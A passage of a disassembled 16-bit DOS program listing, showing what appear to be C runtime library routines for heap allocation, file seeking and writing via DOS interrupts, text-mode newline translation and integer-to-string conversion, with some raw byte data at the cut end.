JNE LOC_41 ; Jump if not equal
MOV WORD PTR DS:DATA_23E,0 ; (0000:04A6=0)
JMP SHORT LOC_42 ; (0515)
LOC_41:
MOV SI,[DI+4]
MOV BX,DS:DATA_23E ; (0000:04A6=0)
MOV [BX+4],SI
MOV AX,DS:DATA_23E ; (0000:04A6=0)
MOV [SI+6],AX
LOC_42:
POP DI
POP SI
POP BP
RETN
SUB_15 ENDP
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
SUB_16 PROC NEAR
PUSH BP
MOV BP,SP
PUSH SI
PUSH DI
MOV DI,[BP+4]
MOV AX,[BP+6]
SUB [DI],AX
MOV SI,[DI]
ADD SI,DI
MOV AX,[BP+6]
INC AX
MOV [SI],AX
MOV [SI+2],DI
MOV AX,DS:DATA_22E ; (0000:04A4=0)
CMP AX,DI
JNE LOC_43 ; Jump if not equal
MOV DS:DATA_22E,SI ; (0000:04A4=0)
JMP SHORT LOC_44 ; (0548)
LOC_43:
MOV DI,SI
ADD DI,[BP+6]
MOV [DI+2],SI
LOC_44:
MOV AX,SI
ADD AX,4
JMP SHORT LOC_45 ; (054F)
LOC_45:
POP DI
POP SI
POP BP
RETN
SUB_16 ENDP
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
SUB_17 PROC NEAR
PUSH BP
MOV BP,SP
PUSH SI
MOV AX,[BP+4]
XOR DX,DX ; Zero register
AND AX,0FFFFH
AND DX,0
nop ;*Fixup for MASM (M)
PUSH DX
PUSH AX
CALL SUB_21 ; (065C)
POP CX
POP CX
MOV SI,AX
CMP SI,0FFFFH
JNE LOC_46 ; Jump if not equal
XOR AX,AX ; Zero register
JMP SHORT LOC_47 ; (058D)
LOC_46:
MOV AX,DS:DATA_22E ; (0000:04A4=0)
MOV [SI+2],AX
MOV AX,[BP+4]
INC AX
MOV [SI],AX
MOV DS:DATA_22E,SI ; (0000:04A4=0)
MOV AX,DS:DATA_22E ; (0000:04A4=0)
ADD AX,4
JMP SHORT LOC_47 ; (058D)
LOC_47:
POP SI
POP BP
RETN
SUB_17 ENDP
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
SUB_18 PROC NEAR
PUSH BP
MOV BP,SP
PUSH SI
MOV AX,[BP+4]
XOR DX,DX ; Zero register
AND AX,0FFFFH
AND DX,0
nop ;*Fixup for MASM (M)
PUSH DX
PUSH AX
CALL SUB_21 ; (065C)
POP CX
POP CX
MOV SI,AX
CMP SI,0FFFFH
JNE LOC_48 ; Jump if not equal
XOR AX,AX ; Zero register
JMP SHORT LOC_49 ; (05C7)
LOC_48:
MOV DS:DATA_24E,SI ; (0000:04A8=0)
MOV DS:DATA_22E,SI ; (0000:04A4=0)
MOV AX,[BP+4]
INC AX
MOV [SI],AX
MOV AX,SI
ADD AX,4
JMP SHORT LOC_49 ; (05C7)
LOC_49:
POP SI
POP BP
RETN
SUB_18 ENDP
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
SUB_19 PROC NEAR
PUSH BP
MOV BP,SP
PUSH SI
PUSH DI
MOV DI,[BP+4]
OR DI,DI ; Zero ?
JNZ LOC_50 ; Jump if not zero
XOR AX,AX ; Zero register
JMP SHORT LOC_56 ; (0634)
LOC_50:
MOV AX,DI
ADD AX,0BH
AND AX,0FFF8H
MOV DI,AX
CMP WORD PTR DS:DATA_24E,0 ; (0000:04A8=0)
JNE LOC_51 ; Jump if not equal
PUSH DI
CALL SUB_18 ; (0590)
POP CX
JMP SHORT LOC_56 ; (0634)
LOC_51:
MOV SI,DS:DATA_23E ; (0000:04A6=0)
MOV AX,SI
OR AX,AX ; Zero ?
JZ LOC_55 ; Jump if zero
LOC_52:
MOV AX,[SI]
MOV DX,DI
ADD DX,28H
CMP AX,DX
JB LOC_53 ; Jump if below
PUSH DI
PUSH SI
CALL SUB_16 ; (0519)
POP CX
POP CX
JMP SHORT LOC_56 ; (0634)
LOC_53:
MOV AX,[SI]
CMP AX,DI
JB LOC_54 ; Jump if below
PUSH SI
CALL SUB_15 ; (04EB)
POP CX
INC WORD PTR [SI]
MOV AX,SI
ADD AX,4
JMP SHORT LOC_56 ; (0634)
LOC_54:
MOV SI,[SI+6]
CMP SI,DS:DATA_23E ; (0000:04A6=0)
JNE LOC_52 ; Jump if not equal
LOC_55:
PUSH DI
CALL SUB_17 ; (0553)
POP CX
JMP SHORT LOC_56 ; (0634)
LOC_56:
POP DI
POP SI
POP BP
RETN
SUB_19 ENDP
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
SUB_20 PROC NEAR
PUSH BP
MOV BP,SP
MOV AX,[BP+4]
MOV DX,SP
SUB DX,100H
CMP AX,DX
JAE LOC_57 ; Jump if above or =
MOV DS:DATA_28E,AX ; (7FC4:009E=0)
XOR AX,AX ; Zero register
JMP SHORT LOC_58 ; (065A)
LOC_57:
MOV WORD PTR DS:DATA_27E,8 ; (7FC4:0094=0)
MOV AX,0FFFFH
JMP SHORT LOC_58 ; (065A)
LOC_58:
POP BP
RETN
SUB_20 ENDP
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
SUB_21 PROC NEAR
PUSH BP
MOV BP,SP
MOV AX,[BP+4]
MOV DX,[BP+6]
ADD AX,DS:DATA_14E ; (0000:009E=27DH)
ADC DX,0
MOV CX,AX
ADD CX,100H
ADC DX,0
OR DX,DX ; Zero ?
JNZ LOC_59 ; Jump if not zero
CMP CX,SP
JAE LOC_59 ; Jump if above or =
XCHG AX,DS:DATA_14E ; (0000:009E=27DH)
JMP SHORT LOC_60 ; (068E)
LOC_59:
MOV WORD PTR DS:DATA_11E,8 ; (0000:0094=192FH)
MOV AX,0FFFFH
JMP SHORT LOC_60 ; (068E)
LOC_60:
POP BP
RETN
SUB_21 ENDP
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
SUB_22 PROC NEAR
PUSH BP
MOV BP,SP
PUSH WORD PTR [BP+4]
CALL SUB_20 ; (0638)
POP CX
JMP SHORT LOC_61 ; (069C)
LOC_61:
POP BP
RETN
SUB_22 ENDP
DB 55H, 8BH, 0ECH, 8BH, 46H, 4
DB 99H, 52H, 50H, 0E8H, 0B2H, 0FFH
DB 8BH, 0E5H, 0EBH, 0, 5DH, 0C3H
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
SUB_23 PROC NEAR
PUSH BP
MOV BP,SP
SUB SP,2
PUSH SI
PUSH DI
MOV BX,[BP+4]
MOV SI,[BX]
MOV AX,SI
MOV [BP-2],AX
MOV BX,[BP+4]
TEST WORD PTR [BX+2],40H
JZ LOC_62 ; Jump if zero
MOV AX,SI
JMP SHORT LOC_65 ; (06EF)
LOC_62:
MOV BX,[BP+4]
MOV DI,[BX+0AH]
JMP SHORT LOC_64 ; (06E3)
LOC_63:
MOV BX,DI
INC DI
CMP BYTE PTR [BX],0AH
JNE LOC_64 ; Jump if not equal
INC WORD PTR [BP-2]
LOC_64:
MOV AX,SI
DEC SI
OR AX,AX ; Zero ?
JNZ LOC_63 ; Jump if not zero
MOV AX,[BP-2]
JMP SHORT LOC_65 ; (06EF)
LOC_65:
POP DI
POP SI
MOV SP,BP
POP BP
RETN 2
SUB_23 ENDP
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
SUB_24 PROC NEAR
PUSH BP
MOV BP,SP
PUSH SI
MOV SI,[BP+4]
PUSH SI
CALL SUB_34 ; (0BEE)
POP CX
OR AX,AX ; Zero ?
JZ LOC_66 ; Jump if zero
MOV AX,0FFFFH
JMP SHORT LOC_70 ; (0758)
LOC_66:
CMP WORD PTR [BP+0AH],1
JNE LOC_67 ; Jump if not equal
CMP WORD PTR [SI],0
JLE LOC_67 ; Jump if < or =
PUSH SI
CALL SUB_23 ; (06B0)
CWD ; Word to double word
SUB [BP+6],AX
SBB [BP+8],DX
LOC_67:
AND WORD PTR [SI+2],0FE5FH
MOV WORD PTR [SI],0
MOV AX,[SI+8]
MOV [SI+0AH],AX
PUSH WORD PTR [BP+0AH]
PUSH WORD PTR [BP+8]
PUSH WORD PTR [BP+6]
MOV AL,[SI+4]
CBW ; Convrt byte to word
PUSH AX
CALL SUB_29 ; (0A1E)
ADD SP,8
CMP DX,0FFFFH
JNE LOC_68 ; Jump if not equal
CMP AX,0FFFFH
JNE LOC_68 ; Jump if not equal
MOV AX,0FFFFH
JMP SHORT LOC_69 ; (0756)
LOC_68:
XOR AX,AX ; Zero register
LOC_69:
JMP SHORT LOC_70 ; (0758)
LOC_70:
POP SI
POP BP
RETN
SUB_24 ENDP
DB 55H, 8BH, 0ECH, 83H, 0ECH, 4
DB 56H, 8BH, 76H, 4, 56H, 0E8H
DB 85H, 4, 59H, 0BH, 0C0H, 74H
DB 8, 0BAH, 0FFH, 0FFH, 0B8H, 0FFH
DB 0FFH, 0EBH, 3FH, 0B8H, 1, 0
DB 50H, 33H, 0C0H, 50H, 50H, 8AH
DB 44H, 4, 98H, 50H, 0E8H, 98H
DB 2, 83H, 0C4H, 8, 89H, 56H
DB 0FEH, 89H, 46H, 0FCH, 83H, 3CH
DB 0, 7EH, 19H, 8BH, 56H, 0FEH
DB 8BH, 46H, 0FCH, 52H, 50H, 56H
DB 0E8H, 10H, 0FFH, 99H, 8BH, 0D8H
DB 8BH, 0CAH, 58H, 5AH, 2BH, 0C3H
DB 1BH, 0D1H, 0EBH, 6
LOC_71:
MOV DX,[BP-2]
MOV AX,[BP-4]
LOC_72:
JMP SHORT LOC_73 ; (07B5)
LOC_73:
POP SI
MOV SP,BP
POP BP
RETN
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
SUB_25 PROC NEAR
PUSH BP
MOV BP,SP
MOV AX,4400H
MOV BX,[BP+4]
INT 21H ; DOS Services ah=function 44h
; device drivr cntrl al=subfunc
MOV AX,0
JC LOC_74 ; Jump if carry Set
SHL DX,1 ; Shift w/zeros fill
RCL AX,1 ; Rotate thru carry
LOC_74:
JMP SHORT LOC_75 ; (07D0)
LOC_75:
POP BP
RETN
SUB_25 ENDP
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
SUB_26 PROC NEAR
PUSH BP
MOV BP,SP
PUSH SI
PUSH DI
MOV DI,[BP+0AH]
MOV SI,[BP+4]
MOV AX,[SI+0EH]
CMP AX,SI
JNE LOC_76 ; Jump if not equal
CMP WORD PTR [BP+8],2
JG LOC_76 ; Jump if >
CMP DI,7FFFH
JBE LOC_77 ; Jump if below or =
LOC_76:
MOV AX,0FFFFH
JMP LOC_85 ; (08A0)
LOC_77:
CMP WORD PTR DS:DATA_34E,0 ; (7FC4:03A8=0AE46H)
JNE LOC_78 ; Jump if not equal
MOV AX,24EH
CMP AX,SI
JNE LOC_78 ; Jump if not equal
MOV WORD PTR DS:DATA_34E,1 ; (7FC4:03A8=0AE46H)
JMP SHORT LOC_79 ; (0820)
LOC_78:
CMP WORD PTR DS:DATA_33E,0 ; (7FC4:03A6=8D50H)
JNE LOC_79 ; Jump if not equal
MOV AX,23EH
CMP AX,SI
JNE LOC_79 ; Jump if not equal
MOV WORD PTR DS:DATA_33E,1 ; (7FC4:03A6=8D50H)
LOC_79:
CMP WORD PTR [SI],0
JE LOC_80 ; Jump if equal
MOV AX,1
PUSH AX
XOR AX,AX ; Zero register
PUSH AX
PUSH AX
PUSH SI
CALL SUB_24 ; (06F7)
ADD SP,8
LOC_80:
TEST WORD PTR [SI+2],4
JZ LOC_81 ; Jump if zero
PUSH WORD PTR [SI+8]
CALL SUB_47 ; (14CC)
POP CX
LOC_81:
AND WORD PTR [SI+2],0FFF3H
nop ;*Fixup for MASM (M)
MOV WORD PTR [SI+6],0
MOV AX,SI
ADD AX,5
MOV [SI+8],AX
MOV [SI+0AH],AX
CMP WORD PTR [BP+8],2
JE LOC_84 ; Jump if equal
OR DI,DI ; Zero ?
JBE LOC_84 ; Jump if below or =
MOV WORD PTR DS:DATA_31E,8A4H ; (7FC4:0232=2FB9H)
CMP WORD PTR [BP+6],0
JNE LOC_83 ; Jump if not equal
PUSH DI
CALL SUB_19 ; (05CA)
POP CX
MOV [BP+6],AX
OR AX,AX ; Zero ?
JZ LOC_82 ; Jump if zero
OR WORD PTR [SI+2],4
nop ;*Fixup for MASM (M)
JMP SHORT LOC_83 ; (0885)
LOC_82:
MOV AX,0FFFFH
JMP SHORT LOC_85 ; (08A0)
LOC_83:
MOV AX,[BP+6]
MOV [SI+0AH],AX
MOV [SI+8],AX
MOV [SI+6],DI
CMP WORD PTR [BP+8],1
JNE LOC_84 ; Jump if not equal
OR WORD PTR [SI+2],8
nop ;*Fixup for MASM (M)
LOC_84:
XOR AX,AX ; Zero register
JMP SHORT LOC_85 ; (08A0)
LOC_85:
POP DI
POP SI
POP BP
RETN
SUB_26 ENDP
DB 56H, 57H, 0BFH, 4, 0, 0BEH
DB 3EH, 2, 0EBH, 10H
LOC_86:
TEST WORD PTR [SI+2],3
JZ LOC_87 ; Jump if zero
PUSH SI
CALL SUB_34 ; (0BEE)
POP CX
LOC_87:
DEC DI
ADD SI,10H
OR DI,DI ; Zero ?
JNZ LOC_86 ; Jump if not zero
POP DI
POP SI
RETN
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
SUB_27 PROC NEAR
PUSH BP
MOV BP,SP
SUB SP,8AH
PUSH SI
PUSH DI
MOV AX,[BP+8]
INC AX
CMP AX,2
JAE LOC_88 ; Jump if above or =
XOR AX,AX ; Zero register
JMP LOC_100 ; (09D2)
LOC_88:
MOV BX,[BP+4]
SHL BX,1 ; Shift w/zeros fill
TEST WORD PTR DS:DATA_32E[BX],8000H ; (7FC4:037E=50FFH)
JZ LOC_89 ; Jump if zero
PUSH WORD PTR [BP+8]
PUSH WORD PTR [BP+6]
PUSH WORD PTR [BP+4]
CALL SUB_28 ; (09D8)
ADD SP,6
JMP LOC_100 ; (09D2)
LOC_89:
MOV BX,[BP+4]
SHL BX,1 ; Shift w/zeros fill
AND WORD PTR DS:DATA_32E[BX],0FDFFH ; (7FC4:037E=50FFH)
MOV AX,[BP+6]
MOV SS:DATA_136E[BP],AX ; (817F:FF7C=0)
MOV AX,[BP+8]
MOV SS:DATA_134E[BP],AX ; (817F:FF78=0)
LEA SI,[BP-82H] ; Load effective addr
JMP SHORT LOC_95 ; (0987)
LOC_90:
DEC WORD PTR SS:DATA_134E[BP] ; (817F:FF78=0)
MOV BX,SS:DATA_136E[BP] ; (817F:FF7C=0)
INC WORD PTR SS:DATA_136E[BP] ; (817F:FF7C=0)
MOV AL,[BX]
MOV SS:DATA_135E[BP],AL ; (817F:FF7B=0)
CMP AL,0AH
JNE LOC_91 ; Jump if not equal
MOV BYTE PTR [SI],0DH
INC SI
LOC_91:
MOV AL,SS:DATA_135E[BP] ; (817F:FF7B=0)
MOV [SI],AL
INC SI
LEA AX,[BP-82H] ; Load effective addr
MOV DX,SI
SUB DX,AX
CMP DX,80H
JL LOC_95 ; Jump if <
LEA AX,[BP-82H] ; Load effective addr
MOV DI,SI
SUB DI,AX
PUSH DI
LEA AX,[BP-82H] ; Load effective addr
PUSH AX
PUSH WORD PTR [BP+4]
CALL SUB_28 ; (09D8)
ADD SP,6
MOV SS:DATA_133E[BP],AX ; (817F:FF76=0)
CMP AX,DI
JE LOC_94 ; Jump if equal
CMP WORD PTR SS:DATA_133E[BP],0 ; (817F:FF76=0)
JAE LOC_92 ; Jump if above or =
MOV AX,0FFFFH
JMP SHORT LOC_93 ; (0981)
LOC_92:
MOV AX,[BP+8]
SUB AX,SS:DATA_134E[BP] ; (817F:FF78=0)
ADD AX,SS:DATA_133E[BP] ; (817F:FF76=0)
SUB AX,DI
LOC_93:
JMP SHORT LOC_100 ; (09D2)
LOC_94:
LEA SI,[BP-82H] ; Load effective addr
LOC_95:
CMP WORD PTR SS:DATA_134E[BP],0 ; (817F:FF78=0)
JE LOC_96 ; Jump if equal
JMP LOC_90 ; (091A)
nop ;*Fixup for MASM (V)
LOC_96:
LEA AX,[BP-82H] ; Load effective addr
MOV DI,SI
SUB DI,AX
MOV AX,DI
OR AX,AX ; Zero ?
JBE LOC_99 ; Jump if below or =
PUSH DI
LEA AX,[BP-82H] ; Load effective addr
PUSH AX
PUSH WORD PTR [BP+4]
CALL SUB_28 ; (09D8)
ADD SP,6
MOV SS:DATA_133E[BP],AX ; (817F:FF76=0)
CMP AX,DI
JE LOC_99 ; Jump if equal
CMP WORD PTR SS:DATA_133E[BP],0 ; (817F:FF76=0)
JAE LOC_97 ; Jump if above or =
MOV AX,0FFFFH
JMP SHORT LOC_98 ; (09CB)
LOC_97:
MOV AX,[BP+8]
ADD AX,SS:DATA_133E[BP] ; (817F:FF76=0)
SUB AX,DI
LOC_98:
JMP SHORT LOC_100 ; (09D2)
LOC_99:
MOV AX,[BP+8]
JMP SHORT LOC_100 ; (09D2)
LOC_100:
POP DI
POP SI
MOV SP,BP
POP BP
RETN
SUB_27 ENDP
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
SUB_28 PROC NEAR
PUSH BP
MOV BP,SP
MOV BX,[BP+4]
SHL BX,1 ; Shift w/zeros fill
TEST WORD PTR DS:DATA_32E[BX],800H ; (7FC4:037E=50FFH)
JZ LOC_101 ; Jump if zero
MOV AX,2
PUSH AX
XOR AX,AX ; Zero register
PUSH AX
PUSH AX
PUSH WORD PTR [BP+4]
CALL SUB_29 ; (0A1E)
MOV SP,BP
LOC_101:
MOV AH,40H ; '@'
MOV BX,[BP+4]
MOV CX,[BP+8]
MOV DX,[BP+6]
INT 21H ; DOS Services ah=function 40h
; write file cx=bytes, to ds:dx
JC LOC_102 ; Jump if carry Set
PUSH AX
MOV BX,[BP+4]
SHL BX,1 ; Shift w/zeros fill
OR WORD PTR DS:DATA_32E[BX],1000H ; (7FC4:037E=50FFH)
POP AX
JMP SHORT LOC_103 ; (0A1C)
LOC_102:
PUSH AX
CALL SUB_10 ; (031F)
JMP SHORT LOC_103 ; (0A1C)
LOC_103:
POP BP
RETN
SUB_28 ENDP
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
SUB_29 PROC NEAR
PUSH BP
MOV BP,SP
MOV BX,[BP+4]
SHL BX,1 ; Shift w/zeros fill
AND WORD PTR DS:DATA_32E[BX],0FDFFH ; (7FC4:037E=50FFH)
MOV AH,42H ; 'B'
MOV AL,[BP+0AH]
MOV BX,[BP+4]
MOV CX,[BP+8]
MOV DX,[BP+6]
INT 21H ; DOS Services ah=function 42h
; move file ptr, cx,dx=offset
JC LOC_104 ; Jump if carry Set
JMP SHORT LOC_105 ; (0A47)
LOC_104:
PUSH AX
CALL SUB_10 ; (031F)
CWD ; Word to double word
JMP SHORT LOC_105 ; (0A47)
LOC_105:
POP BP
RETN
SUB_29 ENDP
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
SUB_30 PROC NEAR
PUSH BP
MOV BP,SP
SUB SP,22H
PUSH SI
PUSH DI
PUSH ES
MOV DI,[BP+0AH]
PUSH DS
POP ES
MOV BX,[BP+8]
CMP BX,24H
JA LOC_113 ; Jump if above
CMP BL,2
JB LOC_113 ; Jump if below
MOV AX,[BP+0CH]
MOV CX,[BP+0EH]
OR CX,CX ; Zero ?
JGE LOC_106 ; Jump if > or =
CMP BYTE PTR [BP+6],0
JE LOC_106 ; Jump if equal
MOV BYTE PTR [DI],2DH ; '-'
INC DI
NEG CX
NEG AX
SBB CX,0
LOC_106:
LEA SI,[BP-22H] ; Load effective addr
JCXZ LOC_108 ; Jump if cx=0
LOC_107:
XCHG AX,CX
SUB DX,DX
DIV BX ; ax,dx rem=dx:ax/reg
XCHG AX,CX
DIV BX ; ax,dx rem=dx:ax/reg
MOV [SI],DL
INC SI
JCXZ LOC_109 ; Jump if cx=0
JMP SHORT LOC_107 ; (0A84)
LOC_108:
SUB DX,DX
DIV BX ; ax,dx rem=dx:ax/reg
MOV [SI],DL
INC SI
LOC_109:
OR AX,AX ; Zero ?
JNZ LOC_108 ; Jump if not zero
LEA CX,[BP-22H] ; Load effective addr
NEG CX
ADD CX,SI
CLD ; Clear direction
LOCLOOP_110:
DEC SI
MOV AL,[SI]
SUB AL,0AH
JNC LOC_111 ; Jump if carry=0
ADD AL,3AH ; ':'
JMP SHORT LOC_112 ; (0AB4)
LOC_111:
ADD AL,[BP+4]
LOC_112:
STOSB ; Store al to es:[di]
LOOP LOCLOOP_110 ; Loop if cx > 0
LOC_113:
MOV AL,0
STOSB ; Store al to es:[di]
POP ES
MOV AX,[BP+0AH]
JMP SHORT LOC_114 ; (0AC0)
LOC_114:
POP DI
POP SI
MOV SP,BP
POP BP
RETN 0CH
SUB_30 ENDP
DB 55H, 8BH, 0ECH, 83H, 7EH, 8
DB 0AH, 75H, 6, 8BH, 46H, 4
DB 99H, 0EBH, 5, 8BH, 46H, 4
DB 33H, 0D2H, 52H, 50H, 0FFH, 76H
DB 6, 0FFH, 76H, 8, 0B0H, 1
DB 50H, 0B0H, 61H, 50H, 0E8H, 5CH
DB 0FFH, 0EBH, 0
LOC_115:
POP BP
RETN
DB 55H, 8BH, 0ECH, 0FFH, 76H, 6
DB 0FFH, 76H, 4, 0FFH, 76H, 8
DB 0FFH, 76H, 0AH, 0B0H, 0, 50H
DB 0B0H, 61H, 50H, 0E8H, 40H, 0FFH
DB 0EBH, 0, 5DH, 0C3H, 55H, 8BH
DB 0ECH, 0FFH, 76H, 6, 0FFH, 76H
DB 4, 0FFH, 76H, 8, 0FFH, 76H
DB 0AH, 83H, 7EH, 0AH, 0AH, 75H
